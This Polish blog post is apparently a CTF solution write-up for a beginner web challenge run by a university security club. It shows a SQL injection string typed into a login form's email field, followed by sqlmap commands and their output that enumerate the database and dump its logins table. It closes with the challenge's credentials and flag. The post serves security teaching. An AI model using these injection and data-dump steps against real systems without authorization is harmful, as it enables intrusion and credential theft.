Artykuł ten jest opisem rozwiązania do zagadki mikołajkowej opublikowanej na naszym blogu w grudniu 2020. Jeśli wciąż chcesz spróbować rozwiązać ją samodzielnie, to nie jest to jeszcze tekst dla Ciebie. Jeśli jednak zagubiłeś/-łaś/-łoś się w trakcie rozwiązywania, to zapraszam do lektury.
Od czego zacząć?
Częstą blokadą w trakcie rozwiązywania zadań webowych w trakcie wszelakich CTFów jest to, od czego można je zacząć. Znalezienie odpowiedniego wektora wejściowego jest bardzo często największym krokiem do sukcesu. Nie inaczej jest w tym przypadku.
Strona przedstawia odbiorcy prosty formularz logowania z polem email w trybie readonly. Na pierwszy rzut oka użytkownik może sądzić, że pracować może tylko z polem hasła. Korzystanie z niego (puste hasło lub dowolny ciąg znaków) wywołuje jednak stałe komunikaty. Jako, że pole z hasłem zwraca niezmienne informacje niezależnie od wprowadzonych znaków, to można je na razie wykluczyć z testów.
![](/assets/images/posts/rozwiazanie-mikolaj2020/readonly.png)
![](/assets/images/posts/rozwiazanie-mikolaj2020/no-creds.png)
![](/assets/images/posts/rozwiazanie-mikolaj2020/proper-format-creds.png)
Strony internetowe mają to do siebie, że ich kod HTML możemy modyfikować po swojej stronie (ang. client-side). Nie inaczej jest w tym przypadku. Po usunięciu atrybutu readonly z pola email otrzymujemy do dyspozycji kolejny możliwy wektor ataku. Jednym z pierwszych ruchów testera bezpieczeństwa aplikacji webowych powinno być zweryfikowanie, czy aby formularz nie jest podatny na atak SQL injection. Poniższy ciąg znaków zostaje wysłany jako adres email:
mikolaj@swiety.biegun.polnocny';--
W odpowiedzi otrzymujemy inny komunikat niż dotychczas. Może to sugerować, że aplikacja stojąca za formularzem jest podatna na SQLi właśnie poprzez pole email.
![](/assets/images/posts/rozwiazanie-mikolaj2020/incorrect-format-creds.png)
Weryfikacja podatności
Do zweryfikowania podatności wykorzystane zostaje narzędzie sqlmap. Aby móc z niego jednak skorzystać musimy poznać odpowiedni adres, do którego odwołuje się formularz logowania. Można go znaleźć w panelu Sieć Narzędzi Developerskich przeglądarki.
![](/assets/images/posts/rozwiazanie-mikolaj2020/santa-api-request.png)
Znając szczegóły zapytania HTTP, możemy wykorzystać sqlmap do zbadania aplikacji. Poniżej przedstawione zostało odpowiednie polecenie wraz z jego odpowiedzią:
$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test"
...
[INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL')
[INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[INFO] the back-end DBMS is MySQL
...
Odpowiedzi narzędzia sqlmap mogą różnić się w zależności od wykorzystanej wersji dlatego nie należy trzymać się w 100% tego co przedstawiono powyżej.
Ekstrakcja danych
Znając wektor ataku i typ bazy danych można wykorzystać wspomniane wcześniej narzędzie sqlmap do ekstrakcji danych. Poniżej przedstawione zostały poszczególne, wykorzystane polecenia wraz z ich odpowiedziami.
Nazwa bazy
$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
--dbms=mysql -p email --current-db
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[INFO] fetching current database
current database: '7f1919e430b4db56df507b09f5599809'
...
Tabele w bazie
$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
--dbms=mysql -p email \
-D 7f1919e430b4db56df507b09f5599809 --tables
...
Database: 7f1919e430b4db56df507b09f5599809
[1 table]
+--------+
| logins |
+--------+
...
Zawartość odpowiedniej tabeli
$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
--dbms=mysql -p email \
-D 7f1919e430b4db56df507b09f5599809 -T logins --dump
Database: 7f1919e430b4db56df507b09f5599809
Table: logins
[16 entries]
+----+-------------------------------------------+-----------------------------------------------------------+
| id | email | password |
+----+-------------------------------------------+-----------------------------------------------------------+
| 2 | mikolaj@swiety.biegun.polnocny | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 3 | mikolaj@swiety.biegun.polnocny1 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 4 | mikolaj@swiety.biegun.polnocny2 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 5 | mikolaj@swiety.biegun.polnocny3 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 6 | mikolaj@swiety.biegun.polnocny4 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 7 | mikolaj@swiety.biegun.polnocny5 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 8 | mikolaj@swiety.biegun.polnocny6 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 1 | UKRYTE | UKRYTE |
| 9 | mikolaj@swiety.biegun.polnocny7 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 10 | mikolaj@swiety.biegun.polnocny8 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 11 | mikolaj@swiety.biegun.polnocny9 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 12 | mikolaj@swiety.biegun.polnocny10 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 13 | mikolaj@swiety.biegun.polnocny11 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 14 | mikolaj@swiety.biegun.polnocny12 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 15 | mikolaj@swiety.biegun.polnocny13 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 16 | mikolaj@swiety.biegun.polnocny14 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
+----+-------------------------------------------+-----------------------------------------------------------+
Rozwiązanie
Jeśli chcesz samodzielnie poznać email i hasło wykorzystując polecenia przedstawione wyżej, to przestań czytać w tym miejscu.
Jak można zauważyć, jest to zadanie stworzone z myślą o osobach, które stawiają pierwsze kroki w bezpieczeństwie aplikacji webowych. Dzięki niemu, w bardzo skuteczny sposób, można sprawdzić oraz przetestować działanie sqlmap w prawdziwym środowisku. Odpowiednie dane wymagane do obejścia formularza logowania uzyskujemy w kroku zawartość odpowiedniej tabel. Ich wartość została ukryta aby zachęcić do samodzielnego wypróbowania poleceń, jednak jeśli chcesz je poznać już teraz to znajdują się one poniżej:
EMAIL: oryginalny.mikolaj@swiety.biegun.polnocny
HASŁO: WHITE-HATS{S4nT4$-p@s$w0rd-Is-6R34T}